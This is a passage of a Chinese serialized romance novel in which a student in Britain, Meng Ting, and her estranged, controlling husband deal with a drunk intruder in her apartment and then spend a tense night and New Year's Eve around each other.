外面不知何时开始飘雪,红木雕花的窗棱外,纷纷扬扬的雪花兜头而下,顷刻间就铺了一层莹白。 他则沉声道:“我让师傅多加了些姜和紫苏,寒性没有那么大,按你现在的体质,可以吃。” 孟汀滞了滞,刚要开口,他却又低下头,继续剥剩下的几只。 孟汀没办法,只好低下头,专心吃盘中的螃蟹。 蟹白紧致又带着点清甜,蟹黄绵密细腻,入口即化。 她以为剩下的两只总是给他自己的了,没想到剥完之后,他再次推了过来。 “这蟹不大,这个分量吃下去对身体没什么影响。” 怎么回事? 他那双写字的手,弹琴的手,现在却在这儿给她认认真真,毫不分心地帮她剥蟹,说没有割裂感是不可能的。 她握着筷子的指尖颤了颤,长睫轻颤。 这顿饭吃的,怎么说,比她想象中要自然。 他不动声色惯了,孟汀还是按着从前的节奏,专心致志地吃饭,不用说多少话。 非要说和从前有什么不同,是他多了个频繁给她端茶倒水的毛病。 最后一盏茶吃完,两人走出酒楼。 雪下的更大了,一瞬间就能盖了满头满面。 李叔的车已经停好了,谢砚京站在风中中,垂着眼睫看她:“让李叔送你回去。” “不用了,”孟汀连忙摇头,他一点儿也不想让谢砚京知道她住哪儿,所以早在下楼梯的时候就打好了车。 她朝他晃了晃手机:“我自己打了车,司机马上就到。” 说完,也不理会谢砚京的反应,迎着风雪走到李叔旁,柔声道:“李叔,我想拿一下我的东西。” 买给西西的东西还在车上,她不能忘了正事儿。 从前李叔帮了她许多,孟汀对他只有感恩,同他说话时,眼眸中的笑意自然盛了些。 一年未见孟汀,李叔也很想念她,笑眯眯地回了句:“汀汀小姐。” 但很快,弯起的唇角,在旁边那位倏然暗下去的眸光中赶紧收住。 “今天天气不好,还是我送您回去吧。” “不用了李叔,今天天气确实不好,您也早点回去休息。” 孟汀的表情越宽和,李叔的心里反而更加打鼓,这会儿四周没风,他却感觉到一阵冷意,后背被那么一双冷浸浸的眸子盯着,寒气像是能透到骨头里。 孟汀拿上了东西,正准备离开,忽然想到什么,又折返回来。 澄亮的一双眼眸,仰头望他:“刚刚在便利店花了多少钱?我还你。” 付钱时她就稍微晚了那么一步,就被他抢了先。 她不想和他理不清,而且这些钱赵一茜早都转给了她,她不能两头受利。 夜色有些沉,纷扬的雪花落在他的肩头,衬得他有种过分的冷清。 孟汀以为还钱要费点时间,没想到他竟然想都没想就来了句:“嗯。” 他抬了下眸,半眯着眼,慢悠悠地靠近她,馥郁的冷香温柔地压下来,在风雨中,有种逼人的凛冽。 漆黑的眼眸望着他,淡声道:“一共42.35磅,折合人民币394块。” 他答应的干脆利落,孟汀心中反而有些乱,觉得事情没有这么简单。 果然,下一秒。 “把我从黑名单里拉出来,现在就转过来,我当场收。” 孟汀:“…………” 第43章 她就知道事情没有简单。 那天从船上下来她就将谢砚京的所有联系方式都拉黑了。 她还记得那个地方,港口上海风很大,空气里带着淡淡的咸腥,周围的人说着完全陌生的语言,她心中带着某种婴孩般的惶恐,最终还是决绝地做了选择。 就在她怔然时,耳边响起一道声音。 谢砚京看她犹豫,抬了下眸,明明声调很淡,却又尖锐又刺耳,“怎么?后悔了?好歹也一个人打拼了一年,不会连这点钱都要犹豫一下吧——” 他寡淡地笑出声,轻轻地扯了下唇,刚要启唇,便被孟汀一句话堵了回去。 “我知道了。”她看也不看他一眼,径直走到李叔身旁,深呼吸一口气,温声细气地对他说,“李叔,我把钱转给你。” “你再转给……”她咬了下唇,半晌之后才挤出那个字,“谢先生。” 这个称呼,说实话,很不顺口。和他在一起的那么多年,她几乎没有称呼过,但是再不顺口,此刻也得叫出来。 李叔闻言,面上立刻扯出一抹难堪。 旁边是那人犀利如刀的眼风,面前又是这样一个让人完全不敢辜负的澄澈眼眸。 他下意识地吞咽一下,无可奈何道:“汀汀小姐,您也知道的,我工作时只带公务机,上面的账号有限制,一般不能接受私人转账。” 孟汀的眼眸黯淡一下。 李叔又道:“你就先转给先生吧,不然得话……您也是知道的。” 孟汀当然知道李叔那个停顿是什么意思。 谢砚京这个人,他想做的事情就没有做不成的,拖延除了耽误时间,并不会取得任何实质性的作用。 孟汀心想也是这个道理,在心中默默叹了口气后,终于还是妥协了。 她将他从黑名单里拉出来,当场便将钱转了过去。 转完后,她叫的车也到了,孟汀朝李叔露出一个告别的笑容,然后上了车。 李叔回了个笑容,不过转身的功夫,感觉一道芒刺在背。 他擦了把冷汗,把人目送走了。 悻悻地转过头,只见谢砚京面无表情地站在原地,每一寸目光仿佛都能把他给吞了。 李叔:“……” 当初也不知道是谁要放的人。他当时劝了一两句还被凶了回来,啧啧啧。 但谢砚京并没有说什么,只是望着不远处的出租车消失在视线中,独自上了车。 车辆汇入夜海之中,半晌之后,黑暗中,一直沉默的男人才开了口。 “查查她那个剧团。” “知道了,先生。” * 孟汀很快到了家。 下车之前她还有些惴惴不安地往后看了眼,但很快就觉得自己多虑了,他到底还是个君子,背后跟踪人,不光彩,他肯定做不出来。 孟汀放松下来,低头上台阶。 刚走两步,手腕忽然被紧紧一攥。 孟汀都快吓死了,下意识准备尖叫,抬头间,对上那张熟悉的脸,尖叫声瞬时被塞了回去。 孟汀瞪大眼睛。 是谢砚京。 是她刚刚还给他贴着“正人君子”标签的谢砚京。 “你、x你干什么?” 他用的是右手,像是怕她逃跑了似的,力度极大,无名指上的对戒,像是烙印般在她腕间印上痕迹。 触碰的那一瞬间,她立刻皱着眉,只觉得手腕像是被什么东西烫到,这温度顺流而下,沿着她全身的脉络到了胸口。 孟汀简直受不了。 她竟然再次被他抓住了手腕。 这已经是今天的第二次。 人不能同时踏入同一条河流,所以她到底做了什么,能让他同时攥住她手腕两次。 “你忘了点东西。” 两人之间的距离好近,他必须要垂下眸子才能对上她的眼睛。 说着,只见他用左手拎起一只珍珠耳环,在她眼前摇晃。 孟汀下意识地摸了下耳垂。 还真的不在了。 这耳环是她和余琳她们逛街时买的,当时价格还不便宜,若真是丢了她得心疼死,但想到此刻捡到的是谢砚京,她咬了下唇,没什么情绪地回:“丢了就丢了,您不用专门跑一趟过来,不值得。” “丢了就丢了……” 他不知怎的,像是被气笑了似的,低声重复着她的话。 “你一直这样想?”冷劲劲的黑眸,盯着她的时候,染上几抹暗色,比这夜色还浓稠。 “东西是这样,人也是这样?” 孟汀不想多解释,趁着他沉默的瞬间,抬手扯走了他手中的耳环,同时将自己的另一只手抽了出来。 她垂下眸子,不耐道:“既然东西送到了,谢先生您也赶紧走吧。” 谢砚京置若罔闻般地抬了下头,打量着她的公寓:“你就住这儿?” 低沉到令人有些恼火的语气,孟汀不用想都知道他下一句会是嘲讽,然而就在她恼羞成怒地转过去时,却见他好像不是针对她,沉沉的目光注视着不远处的窗台:“我的意思是,里面好像有人。” 孟汀的目光倏然落过去。 她怔了一瞬。 无论是一楼还是二楼,似乎每间屋子的灯都亮着。 怎么会这样?! 孟汀心跳加速。 赵一茜今天还在东南亚,余琳不用说了,这种节假日恨不得长在国内,不可能提前回来,就算是提前回来,也不会到二楼打开她的灯。 脑海里是之前新闻里看到的好几起留学生跟踪案。 上个学期有个女生因为被跟踪失踪了好多天,当时闹得挺大的,她们三个女生还专门商量过对策,只不过后来风波过去,大家也渐渐忘了这回事。 孟汀感受到自己心跳的越来越快,直到耳边响起一个冷静的分析声:“最近房东有联系过你们吗?” 孟汀摇了摇头。 她的合同是和中介签的,连房东的面都没见过,但这个中介是她考察了很久的大公司,很多年没有出过安全问题了。 谢砚京往前走了两步。 孟汀心中忽然被揪了下,几乎是下意识地拽住了他的衣摆:“哎,谢砚京——” 谢砚京回头看她一眼。 孟汀这才意识到自己逾矩了,连忙松开了手。 她猛地攥了下指尖,咬了下唇,建议道:“要不……直接报警吧。” 谢砚京的眸光落在刚刚被她揪住的那部分,上面落了一层淡淡的褶皱,就像是被微风轻轻吹皱的水面,唇角勾起一个不经意的弧度。 这算是心疼了? 还知道喊他的名字了。 比谢先生听上去顺耳多了。 他垂着长睫,喉结轻滚了下,没什么情绪地道:“在这里报警有用?” 孟汀下意识地摇头。 之前赵一茜在大街上被抢过钱包,在警局匆匆做了个笔录就让她走了,后来再没有了音讯。闻煜的快递丢了不知道多少个,去报案,警官连头都没抬。 各种各样的事实,她听了不少。 “房门是电子锁?”谢砚京问。 孟汀点了点头。 “把密码报给我。” 孟汀报了两个数字。 他沉默地听完,然后给了李叔一个眼风。 李叔立刻上前,将孟汀拦在了后面,给谢砚京让出了一条路。 孟汀还想往前,李叔耐心宽慰道:“汀汀小姐,您后退一点,先生他心里有数。” 孟汀不放心,睫毛轻颤着,心口处像是被什么东西揪着。 李叔看她神情有些不对劲,又多说了两句:“先生他在国外任战地记者的时候,进行过侦查和反侦察的训练,一般的入室盗窃对他来说根本不算什么。” “说句不好听的,”李叔颇为不好意思地摸了摸鼻子,“先生把我留下,也是因为我的能力确实不如他。” “到时候说不定还要他救我。” “……” 谢砚京已经迈步而去了。 这一幕,把她的思绪拉回一年前他们在海边喂海鸥的那一幕。 当时身边的那个男生遭遇抢劫,他当时也是二话不说就过去了,为此还伤了手臂。 她只给他涂了一次药,两个人就分道扬镳了,也不知道他后来恢复的怎么样,有没有留下疤痕。 孟汀出神地想着,那边的谢砚京已经查看完了第一层,往第二层而去了。 不知道是不是她的错觉,他总觉得他看第二层更细心一些,把有可能的边边角角全部查看了一遍。 他看的时候孟汀的心便一直揪着,脑海中疯狂想象中可能遭遇到的危险画面,想象完又是一阵空白,冷汗一阵一阵的出。 其实不能说她不够坚强。 只是因为她经历了很多不属于她这个年龄该经历的事情。 父亲因病猝然离世,母亲出了车祸,唯一的妹妹又失去了声音,一次又一次的意外不得不让她将所有的事情往最坏的方向想。 最自暴自弃的时候,她甚至在想,是不是因为她,她身边的人才会遭遇这么多的不详。 父母,姐妹,现在又是……名义上的丈夫吗? 而就在她魂不守舍的想入非非时,只听“咣”得一声,那人竟然一脚踹开了一楼的侧门,毫无顾忌地走了进去。 接着,房内忽然传来一阵激烈的声音。 玻璃瓶破碎的声音,和一声近乎哀求的尖叫声。 孟汀再也忍不住了,推开李叔,奋力地跑了过去。 第44章 她和李叔冲过去时,看到谢砚京的身旁瘫坐的那个人。 孟汀瞪大眼睛,看到此刻被谢砚京双手反剪的男生,惊诧道:“宋思明……怎么是你?” 坐在地上的男生,穿着黑色卫衣,牛仔裤,头发乱糟糟的,神志还有些不清,方才也不知道在干什么,像是被谢砚京找到,制服之后,原本涣散的目光才回了神。 他皮肤很白,个子高,但瘦,尽管和孟汀岁数差不多,但在谢砚京的衬托下,完全一副小孩子的模样。 面前的茶几上摆了好几个空酒瓶,还有几个空了的啤酒罐。 对上孟汀震惊的目光,谢砚京微拧了下眉,轻声问:“你认识他?” 孟汀咽了下干涩的唇,回神看向谢砚京:“他是赵一茜的前男友。” 谢砚京的眉头微微凝滞了一下,刚刚的一切发生的太快了,因为喝酒本就甚至不太清楚的宋思明才大梦初醒般地意识到自己的处境,惶恐地看了下身旁的几个人。 “孟汀……是你啊,茜茜呢?茜茜不在这儿吗?” “他是谁?怎么突然冲进来,我不夸张,你要是再晚来那么一会儿,我就死了。” 孟汀:“……” 她这会儿思绪有些乱,被他这么一问,不免有些被他带着走。只是她刚张了张嘴,还未出声,宋思明的嘴就被身旁那位塞进了一块方巾,整个声音都噎住。 孟汀:“……” 房间顿时安静了。 她顿了顿,其实看到宋思明那一瞬,她心中的石头就放下了。 简单来说,他就是一个头脑简单四肢也不发达的京城公子哥,在一场社交宴会上看上了赵一茜,穷追猛打了将近半年,赵一茜才终于松口同意交往,但两个人相处也不到两个月,就分手了。 她笃定,以宋思明的智商和能力,不会对他们造成什么实质性的威胁。 没有威胁是一方面,怎么处理他成了问题。 一旁的谢砚京面色不善,不像是有耐心能听他讲述自己的故事的样子,李叔也是一副严阵以待,准备把人送进警局的模样。 孟汀只能转身,去外面给赵一茜打了个电话。 她把这边的情况简单说了下。 那边的赵一茜差点就爆炸了,恨不得当场就买机票过来打他一顿,准备直接报警让人把他带走。 孟汀知道宋思明其实没什么坏心思。 他虽然是个花花公子,张扬,轻浮,但没怎么乱来过,底线还是有的,就x是有些幼稚。之前赵一茜要分手,他就坐在她们公寓门前喝了一宿的酒。 孟汀和赵一茜复盘了半天,赵一茜才想起来,是自己曾经让他帮忙喂猫,所以告诉过他进门密码。 借着酒劲,他竟然将密码想了起来,直接进来了。至于孟汀房间里的灯,大概是他在一楼找开关时,误触了暗格里整栋楼的总开关。 有人在的话还好说,就宋思明那个身板,别说赵一茜了,连余琳都能一个人打两个。 都是京城那个圈子里的人,家长也都认识,这点事情其实属于小打小闹,只不过今天他运气实在不好,碰上的是谢砚京。 赵一茜在那边骂了半天,孟汀知道她在气头上,没让她做决定,把目光投向了谢砚京。 谢砚京此刻正端坐在餐厅附近的座椅上,黑眸沉沉注视着宋思明,有些看不出情绪。 半晌之后,他喊来李叔。 “把他送走。” 李叔应了声,半拖半就地把人给带走了。 她刚刚已经同谢砚京说了宋思明的情况,看他这样子,应该已经让李叔派人查清他的身份了,不然也不会那么干脆的就开着车将人带走。 夜幕中,孟汀望着远去的车发了会呆。 虽然到头来是一场闹剧,她心中还是有几分后怕,若不是宋思明,而是别的什么人,他就那样贸然进去,万一除了点事情,她又该怎么办。 送走宋思明,再次回神时,她不知不觉间上了楼,准备输密码进门时,才发现谢砚京跟在自己的身后。 他第一次过来的时候,就在外面把二楼也检查过了,大概也是因为这个,她才会毫无顾忌地上楼。 心里想着事情,她怔怔地回了下头,看到身后的谢砚京,忍不住道:“你怎么也上来了?” 原本绷紧的神经像是一条线,被轻轻扯断,浑身上下都有些劫后余生的感觉。 “想什么呢?”谢砚京淡声道。 被风吹得凌乱的碎发,被一双低垂下来的大手别到耳后。 她蓦地抬了下头,视线撞进那双沉静的黑眸。 望着那双波澜不惊的眼睛,她的双脚才像是完全落地了似的,整个世界也没有方才那样飘荡摇晃。 “没什么……” “我就是觉得,刚刚挺危险的。” “我吗?”男人沉着声,询问。 孟汀点了下头,轻声道:“嗯。” “在海边的那次也是,不由分说就上前追人,还为此伤到了手臂,这次也就是运气好,碰上了宋思明,万一真是什么恐怖分子,带着刀或者枪,那该怎么办?” 雪不知道什么时候已经下大了,风声呼啸,落下一片又一片洁白。 窗口掩映的灯火,映衬得他的五官更加分明。 薄唇不经意地勾出一个浅淡的弧度,他垂下眼睫,抬手轻轻拂过她睫毛上的雪花。粗粝的指腹划过她的皮肤,带着一种沉重的厚度。 孟汀以为他会像往常那样反驳,没想到他只是淡着嗓音道:“我下次注意。” “把门打开,我再检查一下。” 孟汀没多想,输入门锁密码。 这是一间不到七十平的公寓。餐厅和客厅连在一起,墙面是有些偏复古的碎花壁纸,上面挂着几幅印象派油画,奶油色的沙发下铺着毛茸茸的毯子,墙角是一盏漂亮的落地灯,窗台上上则是各种各样的植物。 她有每天起床收拾房间的习惯,什么时候进来,都是干干净净的,还有一股淡淡的甜香,像是漫步在一片落了雨的果园中。 他独自进去检查了一遍,确定没有任何危险之后,才让孟汀进了门。 这时她才意识到,她好像再次和这个男人共处一室了。 而且她惶恐地认识到一个事实,李叔竟然把他丢在这里走了。 李叔怎么能把他丢在这里走呢?!! 她清晰感觉到自己由方才的紧张变成了局促,“今天的事情麻烦您了……” 转眸间,只见他已经找了个地方,慢条斯理地坐下了。 “请问受麻烦的人能喝杯热水吗?” 孟汀顿了顿,转身去厨房,给他接了杯水。 没想到回来时,他不仅把外套脱了,甚至解下了腕表和领带。 孟汀整个人怔住,喝杯水而已,他这么大张旗鼓地是准备做什么? “谢先生,您这是……” “我今晚留在这里。” 孟汀以为自己听错了:“什么?” “宋思明已经被李叔送走了,不会有什么危险的,我——” 谢砚京垂着眸:“没了宋思明,要是有李思明,王思明呢?” 孟汀:“可是——” “孟汀,你不要忘记了,我们还是夫妻。” 明明是克制又克制的语调,却还是像是一截冰冷的泉,将她准备辩驳的话语全部冰封住。 短暂的沉默。 话题聊到这里,已经没有再进展下去的余地了。刚刚的那一切之于孟汀,虚幻的像是一场镜花水月,只这一句话,就将她拉入那段不堪回首的过往当中。 因为他们是夫妻,所以她一直承受着那部分不属于她的压力,因为他们是夫妻,她必须在他想要的任何时候,出现在他身边。因为他们是夫妻,所以她迎合他,附和他,答应他一切合理的,不合理的要求,像是他身边一只没有感情没有情绪的玩偶,永远不能拥有自己的人生。 不知道是不是因为感受到了她的沉默,他的语气不似方才那么强硬,更像是带着妥协,“我睡客厅。” 孟汀闭了下眼,努力将自己从那段思绪中抽出来。 和他争执从来都是没有结果的事,她不想浪费时间,干脆拎着今天买回来的东西下楼去喂西西。 从前赵一茜谈恋爱时,它就不喜欢宋思明,而且它胆子小,家里只要来生人,就找不到踪迹,今天他醉醺醺的过来,怕是把它吓得够呛。 孟汀先是给自动喂食器里添了粮,又给碗里添了些水,本来想着它听到喂食器的声音会出来,没想到它竟然毫无反应。 孟汀只能弯着腰在下面找,最后终于在厨房的橱柜下面找到了它的身影。 显然它没有从之前的阴影里走出来,孟汀好言好语地哄了半天,它在里面喵呜喵呜,就是没有要出来的意思。 孟汀没法,当场拆了两根猫条。 西西这才犹犹豫豫地出来了。 为了防止它应激跑路,孟汀赶紧揽着它的腰,一把抱起准备把它带到客厅。 没想到,刚一进门,目光就被那道倚在门上的身影吸引。 环胸抱臂,长身玉立。 看到抱着西西走过来的孟汀,他阔步走过来。 然后垂下眼睫,面无表情地将她手中的猫砂铲抽走,径直走向了猫砂盆。 第45章 领带和袖口已经解下,衣袖半挽起,他走到窗边,扯松了最上面的两枚纽扣,慢慢蹲了下来。 外面是大雪纷飞的夜,屋内灯火很亮,玻璃窗上映出他棱角分明的侧颜。 孟汀可以肯定他从来没有做过铲猫砂这样的工作。 可是他手上的动作却不见半分生疏,好像做惯了似的,不带半分犹豫。 她就那样抱着西西手足无措地站在原地,怔怔地看着他把一切处理好,又将猫砂装入垃圾袋,系好后,拎着出门。 她垂下眼睫,不自觉间,对他强硬想要留下来的那股怨气,消散了些。 将西西安置在猫窝后,孟汀默默上了楼。 谢砚京站在窗边讲电话,原本空荡荡的沙发旁,出现了一床崭新的被褥和枕头。 窗外,不远处,远光灯闪烁,看和像刚刚离开的李叔。 孟汀望着沙发发了会呆,这沙发不大,偶尔她在上面睡着都不太够,更何况他那一米八七的个子。 左右是他自己要留下,她也没办法。 她按部就班地洗了个澡,然后回到房间躺下。 他还是在讲电话,但已经切换成今晚的第三种语言,听语调有些像法语。 极动听的一把好嗓子。 像是微微煮沸的热红酒,醇厚,低沉。 宁静如水,却能打着旋儿跌进她的耳蜗,然后缓缓渗入她的世界。 她努力拉回自己的注意力,拨通赵一茜的电话,给她汇报这边的情况。 酒瓶被清理出去,垃圾被处理完,西西情绪也终于稳定下来,恢复了从前一口气能吃一整碗猫粮的优良作风x。 不仅之后,赵一茜才回复。 【汀汀,你还是太心软了】 原来刚刚她是打电话去骂宋思明了。 赵一茜:【也就是我现在不在代嘤,不然我高低要提着刀上他家的门】 赵一茜:【这种人就该在警局里面蹲上十天半个月,看他以后还敢不敢借着酒疯私闯民宅。太晦气了,我已经下单柚子叶,糯米,八卦镜,桃木剑四件套了,回去就摆在客厅里,除除晦气】 赵一茜:【也幸好琳琳不在,不然我都不知道该怎么给她交代】 赵一茜:【今天真是辛苦你和你朋友了,我本来还想给闻煜打个电话呢,没想到你那朋友就已经把人送回去了,真是太靠谱了】 赵一茜:【他大概待多久啊,等我回去请你们吃大餐哈/亲亲】 为了不暴露谢砚京的身份,刚才沟通时,孟汀一直称呼谢砚京是自己一个来英国旅行的朋友,她不想聊太多,赶紧转了话题,询问赵一茜她今天买的猫粮品质如何。 之前这款猫粮被爆出过偷工减料的新闻,赵一茜还因此给它换过一次粮,结果小祖宗不领情,一口新粮都不吃。 赵一茜没办法,只能又换了回来,不过听说他们家工厂换了生产线,恢复了从前的品质,只不过市面上还有些没召回的残留,要筛选。 赵一茜对着照片看了会,发了个没毛病的表情包。 没想到,借着买猫粮的事情,话题竟然又被扯回到了谢砚京身上。 赵一茜:【星星眼.jpg】 【今天在商店时,那个帅哥,你们后来还有交集吗?】 孟汀:【?】 赵一茜:【实不相瞒,我觉得你们两个有戏】 孟汀:【?】 赵一茜:【当时你在取高处的东西,那个角度刚好照到他,我没忍住截了张图】 赵一茜将图片发了过来。 是一张很清晰的图片,自然又随意,尽管是,角度和光线却都恰到好处。 照片中,孟汀在取东西,只露出一点侧脸,身旁的谢砚京出境更多一些,但也是侧脸。 只不过这个角度,将他面上的情绪拍摄的很细致。 画面中,那双深不见底的眼眸,静静注视着她。 【姐妹,你真的不认识这个帅哥吗?我听过一句话,爱人的眼睛是汪洋大海,他这一眼完全符合啊,隔着屏幕我都能看到,里面满满的都是你】 【还有一句话:语言会说谎,情绪会说谎,但是眼神不会。】 【最后一句话:爱意在那一汪深邃里,从来都是藏不住的。】 孟汀:【……】 赵一茜:【宝宝,我真的建议你试一试,虽然我没看到正脸,但看侧脸就知道绝对是帅哥,说不定他真的会追你哎,就算不追你,我也建议你主动】 【偶遇就应该珍惜这段缘分啊啊啊啊】 孟汀攥了攥指尖,望着那张照片出神。 明明和记忆中一样熟悉,但很难用形容词形容。 她攥着手机的手有些发紧,心不在焉地回:【……还是算了吧】 过去的那段经历,有没有爱她不确定,但是被当做私占品她能感受到,至于追她,就更不可能。 她失去父母,失去家庭,没有地方可以去,他接纳她,给她一个可以容身的地方,她已经足够感激,再渴求别的东西,便是奢望了。 他生来便拥有太多的东西,后来,名誉,钱财,权利,只要他想要的,便没有得不到的,这些东西,在积累到一定程度时,就算你不想要,也有人拱手上门。 “追人”这两个字,对他来说,太过遥远。 折腾了一晚上,孟汀也有些累,原计划中的小组作业也没能写完,放下手机后,很快就入睡。 那一晚,明明家里有个本不属于这个地方的人,但是她却睡得很沉。 这几天因为焦虑失去的顺面好像都在那一晚上补充全了,以至于第二天早上,甚至没听到叫她起床的闹钟。 最后吵醒她的是一通电话。 孟汀闭着眼睛接起来,听到那头于天晴激动难耐的声音。 “孟孟!天大的好消息!” 孟汀模还有些半梦半醒,“什么?” 于天晴:“演员工会竟然插手我们剧团的事情了!现在好多人在剧院门口抗议,出品方那边好像松口了。” 原本混沌的神志立刻清醒了起来:“真的吗?” 于天晴:“当然啊!郭导的意思是让我们有空也过去,你今天有什么安排吗?没有的话去看看吧。” 她打开免提看了眼群里的消息,有不少在前线支持的人发来了现场实况。 今天已经是旧历的最后一天,再过十几个小时就要进入新的一年,这样的日期确实是吸引公众目光的好时间,但工会竟然放弃了休息时间,是孟汀完全没想到的。 孟汀又看了眼社交媒体,上面不少人发了现场的情况。 一圈看下来,孟汀才明白了,其实这次抗议不只是他们被裁员的事情,还有他们自己积压的一些历史问题,只能说她们足够幸运,这些矛盾刚好在她们快要被裁员的时间点爆发了出来。 但真的是巧合吗? 她明明记得,自己和于天晴去联名书那里签字的时候,负责人告诉她们不要抱太大的期望。 来不及多想,孟汀在于天晴的催促下赶紧起了床。 推开卧室房门,她忽然想起,昨晚客厅里似乎还睡了个人。 客厅里落针可闻。 她想了想,按照他的作息,这个点应该已经去工作了。 果然,推开门的瞬间,客厅空无一人。 无论是沙发,茶几,还是盥洗室,都被收拾的整整齐齐,看不到一点儿使用过的痕迹,只是餐桌的保温盒里摆放的早餐,留下他昨夜在此留宿的证据。 孟汀看着里面做好的煎蛋,烤好的吐司,以及牛奶,心中陷入几分滞然。 但最终还是选择了妥协。 她不喜欢浪费。 * 工会的活动持续到了中午,孟汀和于天晴吃午饭时,沉寂了好多天的工作群终于有了消息。 郭导激动地通知,她们不仅没有被解雇,之前被删掉的那部分内容,又被原原本本,一句未改地加了上去。 下午的时候,两人甚至还领到了出品方因为违规停职停薪而发下来的补偿金。 于天晴兴奋地分享着自己得来的小道消息。 她说工会施压只起了一部分作用,最主要的是“上面”似乎真的有人干涉了这件事,通过各种渠道,给投资方施压,引起导演的重视,才争取回了属于他们的权利。 孟汀一边听一边思索着。 其实这个事情,不单单是演员合法权益,还关乎着她们一直坚持的文化信仰。 这样宏观层面上的东西,资本在某种程度上,能干涉的不多。 而这种交易,只有政。客才能给出。 她恍惚了许久,想法还没定型,手臂忽然被于天晴掣了下。 “孟孟,前面是海伦广场,今晚有跨年活动,要不要一起过去看看?” 今天发生的事情太多,差点儿让她忘记了已经到了跨年夜。 街道上,已经涌现不少准备去跨年的游客。 于天晴:“你有约吗?你要是有约我就只能回家了。” 孟汀连忙摇了摇头:“没有。” 她刚刚说完这句话,手机忽然亮了一下。 消息来自刚刚被她从黑名单里拉出来的那位:【什么时候回来?】 配图是她空荡荡的客厅。 孟汀:“……” 他现在怎么回她家跟到自己家一样方便了??? 第46章 孟汀简直要气死了。 指尖在屏幕上停顿半晌,内容从“你为什么会在我家”到“你来我家做什么”最后变成“你今晚怎么又来了”。 咬着唇犹犹豫豫半天,最终还是没发出去。 反而又收到了一条他的消息。 【现在在哪儿?】 原本满心满腔的质问,成功地被他这句话带跑偏。 于天晴在一旁挑气球,孟汀也放弃了挣扎,低头回了句:【和朋友一起跨年】 消息刚一发出去,对面竟然一个视频电话直接打了过来。 孟汀本来想挂断的,但想起他那坚持不懈,持之以恒,永不放弃的狗脾气,最终还是点了接听。 她往少人的地方退了退。 屏幕上,露出少女清秀的侧脸。 那边的谢砚京也很快入了镜。 他今天换了件黑色的衬衫,上半身微微塌着,姿态很闲散,光滑的绸缎面料,灯光流淌上去,像是铺了一层晶莹的雪。气质慵懒而淡然,但一眼看过去,还是好看的有些扎眼。 “你干什么?”孟汀抿了抿唇,语气故作冷漠。 “西西今天好x像有点不舒服。”说着,将镜头对向窝在她沙发里的小猫。 一听是关于西西,孟汀的语气立马关心了起来,“怎么了?” 谢砚京看着她那多云转晴的神情,挑了下眉:“我进来之后,它就一直在睡。” 这栋房子从前从前的主人也养猫,所以留了猫门,孟汀没关过,西西偶尔会来她上面溜达溜达。 孟汀:“你来多久了?” 谢砚京:“三个小时。” 孟汀没想到他竟然等了这么久,但还是压住情绪,淡声道:“你把她的脸转过来给我看看。” 修长指尖慢慢转过猫猫头。 屏幕中,只见西西耳朵轻动一下,还顺带扭了个妖娆的懒腰,眼睛象征性地微睁一下,又闭上了。 孟汀:“……” 谢砚京:“怎么回事?” 孟汀:“有没有一种可能,它在睡觉。” 谢砚京拧着眉:“这个点睡,方便晚上蹦迪?” 大概因为他很少说这种话,孟汀原本紧绷的唇线有了些松动的痕迹。 “茜茜试图变过它的作息,但没成功。” 谢砚京:“不会影响你睡觉吗?” 孟汀很小声地“啊”了下,摇了下头,“它一般只在茜茜床上蹦。” 谢砚京笑了笑,又盯着她身后的背景看,没费什么力气就下了结论,“在海伦广场?” 孟汀在心中叹了口气,不得不佩服他的眼力。 他轻抬眉骨,语气很淡,像是随口一问:“什么时候回来?” “我让李叔去接你。” “不用!”她立刻否定,接着语气又恢复了往日的犹豫,“我不知道……要看我朋友,她如果想跨年的话,那我就——” “陪她跨年?”屏幕那边的人勾着笑,长睫垂下,嗓音低沉却凛冽,毫无顾忌地打断她,冷劲劲的来了句,“你人不错。” 明明是夸赞,孟汀却从中听到点儿别的意思。 像是在说,你对所有人都那么好,偏偏不会对他好。 孟汀宁愿自己是想多了,但是耳尖却还是忍不住有些红。 “外面温度低,你穿那件衣服能行吗?”看她不说话,他又开口。 听到这,孟汀下意识地拢了下衣服。 今早起床时雪已经停了,正中午那会儿还出了点太阳,她没穿那件厚点的羽绒服。夜里温度下降,还真有点冷。 不过这边人多,也没什么风,完全能坚持。 “我不冷。”孟汀生硬地转移了话题,看到不远处的于天晴已经终于挑好气球准备付钱了,“我朋友要过来了,先挂了。” 那边很明显还要说什么,但孟汀已经狠心地点了挂断。 于天晴拿着两只气球,朝着孟汀招了招手,孟汀走了过去。 她把一直塞到孟汀手中,又给她手中塞了只马克笔,“宝宝,在上面写上新年祝福,零点的时候大家一起放飞,听说气球飞的越高,愿望实现的可能性越大。” 转头间,于天晴已经开始写了。 她没怎么犹豫,一口气就在气球上写了六七个心愿和祝福,什么“新年暴富”“事事顺心”“爱情事业双丰收”,写到气球满满当当几乎塞不下。 孟汀被逗笑,忍不住调侃了一句:“写这么多,老天爷要几首抓才能实现过来啊。” 于天晴毫不在意地扬了个笑容:“这不是提高命中率吗?写十条实现的概率,总比写一条实现的概率大。” 孟汀:“……” 好有道理,她竟无法反驳。 但到自己落笔时,孟汀又没什么思绪。 她的事业的成就一直在自己的把控范围内,只要是想得到的东西就去拼命努力,身体虽然小毛病不断但是没出过大问题,不算困惑她的事情,至于爱情,她更没什么奢求。 目前好像只有孟云溪的手术比较重要,但是很早之前她听说过一些迷信说法,说是最好不要让上天知道某个人生病的事情,这样生死就能把握在医生手中,手术会更加顺利。 于天晴已经在旁边等了好久了,看到孟汀终于犹犹豫豫地落笔,忍不住凑上去看了眼,然后惊讶地念出来。 “世界和平???” 于天晴难以置信地看了眼,笑个不停,“孟孟你也太可爱了吧。” 孟汀眨了眨柔软的眸,小声解释:“世界和平了,我们所有人不就幸福了吗?” 没有战火,没有硝烟,没有歧视,不用担心亲人会离世,不用流离失所,孩子们可以在阳光下奔跑,可以读书,可以实现自己的梦想,旅行者可以自由自在地往返不同国度,感受着世界上的每一寸风,每一滴雨。 于天晴看着真诚得不得了的孟汀,戳了戳她的脸颊,下结论:“听上去像是军属才会许的愿。” “说起这个,”她掐着下巴思索一下,“我有个表哥就是军人,孟孟你想不想找当军属,我可以让他帮你介绍个对象。” 孟汀怔了下:“啊?” 说完,于天晴却忽然有些犹豫:“他们一个个的,一米八的个子,身体又健硕,那方面的……好像也挺勇猛的。” “我怕孟孟你这么瘦瘦小小的一只,顶不住。” “有种小白兔入了狼窝的感觉。” 孟汀:“……” 她实在不想说,从前那位一米八七的个子,那个地方和身高也是等比例大小,她其实都承受住了。 还有什么承受不住的呢。 